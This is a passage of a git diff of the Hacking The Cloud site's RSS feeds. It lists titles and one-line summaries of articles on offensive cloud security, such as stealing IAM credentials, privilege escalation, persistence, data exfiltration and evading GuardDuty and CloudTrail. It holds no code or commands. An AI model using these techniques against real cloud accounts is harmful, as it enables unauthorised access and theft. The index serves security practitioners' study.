calls.https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ Wed, 03 Feb 2021 03:20:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ User Data Script Persistence Maintain access to an EC2 instance and it's IAM role via user data scripts.https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ Wed, 03 Feb 2021 03:20:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ Introduction to the Instance Metadata Service An introduction to the Instance Metadata Service and how to access it.https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Sun, 20 Dec 2020 20:10:43 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Introduction to User Data An introduction to EC2 User Data and how to access it.https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Sun, 20 Dec 2020 20:10:43 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Brute Force IAM Permissions Brute force the IAM permissions of a user or role to see what you have access to.https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Sun, 20 Dec 2020 18:58:26 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Get Account ID from AWS Access Keys Techniques to enumerate the account ID associated with an AWS access key.https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Sun, 27 Sep 2020 16:06:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/enumeration/whoami/ Fri, 21 Aug 2020 17:00:02 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/whoami/ Steal IAM Credentials and Event Data from Lambda Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Wed, 12 Aug 2020 23:15:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Unauthenticated Enumeration of IAM Users and Roles Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Wed, 05 Aug 2020 14:32:32 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Steal EC2 Metadata Credentials via SSRF Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Sat, 01 Aug 2020 17:43:14 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Connection Tracking Abuse security group connection tracking to maintain persistence even when security group rules are changed.https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ Thu, 30 Jul 2020 23:28:52 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/connection-tracking/ IAM unique identifiers Chart of the IAM unique ID prefixes.https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Mon, 27 Jul 2020 19:47:46 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Bypass GuardDuty Pentest Findings for the AWS CLI Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ Wed, 22 Jul 2020 02:58:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ Bypass Credential Exfiltration Detection When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ Wed, 22 Jul 2020 02:58:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ \ No newline at end of file + Hacking The CloudThe encyclopedia for offensive security in the cloud.https://hackingthe.cloud/https://github.com/Hacking-the-Cloud/hackingthe.clouden Thu, 05 Dec 2024 19:50:34 -0000 Thu, 05 Dec 2024 19:50:34 -0000 1440 MkDocs RSS plugin - v1.17.0 None Hacking The Cloudhttps://hackingthe.cloud/ Exploiting Public AWS Resources Programmatically - The Playbook A playbook on how to exploit AWS resources that can be misconfigured via resource-based policies.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ Thu, 05 Dec 2024 17:37:27 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ AWS CLI Tips and Tricks A collection of tips and tricks for using the AWS CLI.https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ Mon, 04 Nov 2024 03:15:10 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ Run Command Abuse Utilise Azure RunCommands for execution and lateral movement.https://hackingthe.cloud/azure/run-command-abuse/ Sat, 05 Oct 2024 05:04:44 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/run-command-abuse/ Exploiting Misconfigured GitLab OIDC AWS IAM Roles Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ Sun, 01 Sep 2024 22:46:15 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ Wed, 31 Jul 2024 20:37:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ Prevent Expensive AWS API Actions with SCPs Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Tue, 30 Jul 2024 00:15:57 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Enumerate Org/Folder/Project Permissions + Individual Resource Permissions Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Sun, 14 Jul 2024 21:08:01 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Discover secrets in public AMIs How to find public AMIs and get stored secrets.https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Tue, 28 May 2024 16:27:11 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Enumerate Root User Email Address from the AWS Console Identify if an email address belongs to the root user of an AWS account.https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Tue, 21 May 2024 20:10:23 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Abusing Misconfigured Role Trust Policies with a Wildcard Principal How to take advantage of misconfigured role trust policies that have wildcard principals.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ Mon, 29 Jan 2024 03:39:38 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ EC2 Privilege Escalation Through User Data How to escalate privileges on an EC2 instance by abusing user data.https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ Sun, 21 Jan 2024 17:59:06 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ Bypass Cognito Account Enumeration Controls Leverage a flaw in Cognito's API to enumerate accounts in User Pools.https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ Sun, 07 Jan 2024 21:28:56 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ DNS and CloudFront Domain Takeover via Deleted S3 Buckets How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ Wed, 20 Dec 2023 14:50:27 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ 2023 Wrap-up An end of year summary for Hacking the Cloud in 2023.https://hackingthe.cloud/blog/2023_wrap-up/ Wed, 20 Dec 2023 01:25:13 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2023_wrap-up/ Data Exfiltration through S3 Server Access Logs Exfiltrate data via S3:GetObject and S3 server access logs.https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Thu, 07 Dec 2023 10:12:13 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Derive a Principal ARN from an AWS Unique Identifier How to convert an unique identifier to a principal ARN.https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Mon, 20 Nov 2023 00:54:35 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Survive Access Key Deletion with sts:GetFederationToken Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ Mon, 25 Sep 2023 13:24:44 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ AWS IAM Persistence Methods A catalog of methods to maintain access to the AWS control plane.https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Tue, 01 Aug 2023 01:58:06 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Download Tools and Exfiltrate Data with the AWS CLI Using the AWS CLI as a LOLScript to download and exfiltrate data.https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Thu, 13 Jul 2023 03:46:27 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Abusing Overpermissioned AWS Cognito Identity Pools How to take advantage of misconfigured Amazon Cognito Identity Pools.https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ Tue, 20 Jun 2023 17:26:14 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ Abusing Unintended Self-Signup in AWS Cognito How to take advantage of misconfigured Amazon Cognito User Pools.https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Tue, 20 Jun 2023 17:26:14 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Unauthenticated Enumeration of Azure Active Directory Email Addresses Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.https://hackingthe.cloud/azure/enum_email_addresses/ Tue, 11 Apr 2023 13:31:32 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/enum_email_addresses/ Unauthenticated Enumeration of Google Workspace Email Addresses Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ Tue, 11 Apr 2023 13:31:32 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ Create a Console Session from IAM Credentials How to use IAM credentials to create an AWS Console session.https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ Mon, 20 Feb 2023 16:48:45 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ S3 Streaming Copy Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environmenthttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ Fri, 10 Feb 2023 15:12:48 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ Exfiltrating S3 Data with Bucket Replication Policies Backdooring S3 buckets with Bucket Replication Policies.https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ Thu, 26 Jan 2023 01:02:06 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ 2022 Wrap-up An end of year summary for Hacking the Cloud in 2022.https://hackingthe.cloud/blog/2022_wrap-up/ Wed, 14 Dec 2022 03:27:50 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2022_wrap-up/ Loot Public EBS Snapshots How to find and take advantage of exposed EBS snapshots.https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Mon, 05 Dec 2022 02:08:42 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Misconfigured Resource-Based Policies Common misconfigurations of resource-based policies and how they can be abused.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Thu, 24 Nov 2022 22:14:38 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Abusing Misconfigured ECR Resource Policies How to take advantage of misconfigured AWS ECR private repositories.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ Thu, 24 Nov 2022 22:14:38 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ AWS Organizations Defaults & Pivoting How to abuse AWS Organizations' default behavior and lateral movement capabilities.https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Sat, 05 Nov 2022 00:02:54 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Abusing Elastic Container Registry for Lateral Movement With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Thu, 13 Oct 2022 01:37:41 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Hacking The Cloud v2: New Look All about the new look for Hacking The Cloud v2.https://hackingthe.cloud/blog/v2_new_look/ Sun, 18 Sep 2022 21:18:30 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/v2_new_look/ GCP Goat GCP Goat is the Vulnerable application for learning the GCP Securityhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Mon, 29 Aug 2022 00:18:19 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Thunder CTF GCP themed CTFhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Mon, 29 Aug 2022 00:18:19 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Hunting GCP Buckets How to find valid and invalid GCP Buckets using toolshttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Mon, 29 Aug 2022 00:18:19 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Privilege Escalation in Google Cloud Platform Privilege escalation techniques for Google Cloud Platform (GCP)https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Wed, 24 Aug 2022 12:25:09 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Enumerate Service Account Permissions Brute force the permissions of a service account to see what you have access to.https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Tue, 23 Aug 2022 14:34:53 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Terraform ANSI Escape Using ANSI Escape Sequences to Hide Malicious Terraform Codehttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Sat, 09 Jul 2022 00:02:47 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Default Account Information Default information on how accounts and service accounts exist in GCPhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Sun, 29 May 2022 13:26:35 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Security and Constraints Security considerations and constraints that are unique to GCPhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ Sun, 29 May 2022 13:26:35 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ Using Stolen IAM Credentials How to work with stolen IAM credentials and things to consider.https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Sat, 14 May 2022 21:51:44 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Run Shell Commands on EC2 with Send Command or Session Manager Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Mon, 11 Apr 2022 23:11:43 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Abusing Managed Identities Abusing Managed Identitieshttps://hackingthe.cloud/azure/abusing-managed-identities/ Sun, 27 Mar 2022 16:57:50 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/abusing-managed-identities/ Anonymous Blob Access Finding and accessing files stored in Azure Storage Accounts without authentication.https://hackingthe.cloud/azure/anonymous-blob-access/ Sat, 19 Mar 2022 16:57:37 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/anonymous-blob-access/ Soft Deleted Blobs Recovering and accessing files in private Storage Accounts that have been deleted.https://hackingthe.cloud/azure/soft-deleted-blobs/ Thu, 17 Mar 2022 14:35:54 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/soft-deleted-blobs/ AWS API Call Hijacking via ACM-PCA By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPChttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ Sun, 13 Mar 2022 23:45:47 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ CI/CDon't An AWS/GitLab CICD themed CTF.https://hackingthe.cloud/aws/capture_the_flag/cicdont/ Sat, 05 Mar 2022 04:00:57 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/capture_the_flag/cicdont/ Enumerate AWS Account ID from an EC2 Instance With access to an ec2 instance, you will be able to identify the AWS account it runs in.https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ Sun, 27 Feb 2022 22:50:13 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ [Deprecated] Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/deprecated/whoami/ Wed, 09 Feb 2022 04:00:32 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/whoami/ Modify GuardDuty Configuration Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ Sun, 30 Jan 2022 10:32:26 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ Terraform Enterprise: Attack the Metadata Service Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Servicehttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Thu, 23 Dec 2021 21:59:38 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Hacking The Cloud The encyclopedia for offensive security in the cloudhttps://hackingthe.cloud/ Tue, 30 Nov 2021 05:00:09 +0000Hacking The Cloudhttps://hackingthe.cloud/ AWS IAM Privilege Escalation Techniques Common techniques that can be leveraged to escalate privileges in an AWS account.https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Thu, 04 Nov 2021 21:03:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Metadata in Google Cloud Instances Information about the data an attacker can access via GCP's API endpointshttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Sun, 24 Oct 2021 17:41:56 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Lambda Persistence How to establish persistence on a Lambda function after getting remote code execution.https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ Thu, 16 Sep 2021 15:02:21 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ Get IAM Credentials from a Console Session Convert access to the AWS Console into IAM credentials.https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ Wed, 14 Jul 2021 20:46:17 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ [Deprecated] Enumerate Permissions without Logging to CloudTrail Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ Tue, 18 May 2021 19:13:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ S3 File ACL Persistence Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ Tue, 13 Apr 2021 02:53:30 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ Enumerate AWS Account ID from a Public S3 Bucket Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Sat, 03 Apr 2021 01:39:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Bypass GuardDuty Tor Client Findings Connect to the Tor network from an EC2 instance without alerting GuardDuty.https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Sat, 20 Feb 2021 04:07:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Intercept SSM Communications With access to an EC2 instance you can intercept, modify, and spoof SSM communications.https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Sat, 06 Feb 2021 17:17:59 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Role Chain Juggling Keep your access by chaining assume-role calls.https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ Wed, 03 Feb 2021 03:20:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ User Data Script Persistence Maintain access to an EC2 instance and it's IAM role via user data scripts.https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ Wed, 03 Feb 2021 03:20:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ Introduction to the Instance Metadata Service An introduction to the Instance Metadata Service and how to access it.https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Sun, 20 Dec 2020 20:10:43 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Introduction to User Data An introduction to EC2 User Data and how to access it.https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Sun, 20 Dec 2020 20:10:43 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Brute Force IAM Permissions Brute force the IAM permissions of a user or role to see what you have access to.https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Sun, 20 Dec 2020 18:58:26 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Get Account ID from AWS Access Keys Techniques to enumerate the account ID associated with an AWS access key.https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Sun, 27 Sep 2020 16:06:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/enumeration/whoami/ Fri, 21 Aug 2020 17:00:02 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/whoami/ Steal IAM Credentials and Event Data from Lambda Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Wed, 12 Aug 2020 23:15:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Unauthenticated Enumeration of IAM Users and Roles Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Wed, 05 Aug 2020 14:32:32 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Steal EC2 Metadata Credentials via SSRF Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Sat, 01 Aug 2020 17:43:14 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Connection Tracking Abuse security group connection tracking to maintain persistence even when security group rules are changed.https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ Thu, 30 Jul 2020 23:28:52 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/connection-tracking/ IAM unique identifiers Chart of the IAM unique ID prefixes.https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Mon, 27 Jul 2020 19:47:46 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Bypass GuardDuty Pentest Findings for the AWS CLI Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ Wed, 22 Jul 2020 02:58:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ Bypass Credential Exfiltration Detection When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ Wed, 22 Jul 2020 02:58:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ \ No newline at end of file diff --git a/feed_rss_updated.xml b/feed_rss_updated.xml index b1954e09f..48d43d58e 100644 --- a/feed_rss_updated.xml +++ b/feed_rss_updated.xml @@ -1 +1 @@ - Hacking The CloudThe encyclopedia for offensive security in the cloud.https://hackingthe.cloud/https://github.com/Hacking-the-Cloud/hackingthe.clouden Wed, 27 Nov 2024 18:55:24 -0000 Wed, 27 Nov 2024 18:55:24 -0000 1440 MkDocs RSS plugin - v1.16.0 [Deprecated] Enumerate Permissions without Logging to CloudTrail Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ Enumerate AWS Account ID from a Public S3 Bucket Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Unauthenticated Enumeration of IAM Users and Roles Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Derive a Principal ARN from an AWS Unique Identifier How to convert an unique identifier to a principal ARN.https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ AWS IAM Privilege Escalation Techniques Common techniques that can be leveraged to escalate privileges in an AWS account.https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ Prevent Expensive AWS API Actions with SCPs Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Connection Tracking Abuse security group connection tracking to maintain persistence even when security group rules are changed.https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/connection-tracking/ Get IAM Credentials from a Console Session Convert access to the AWS Console into IAM 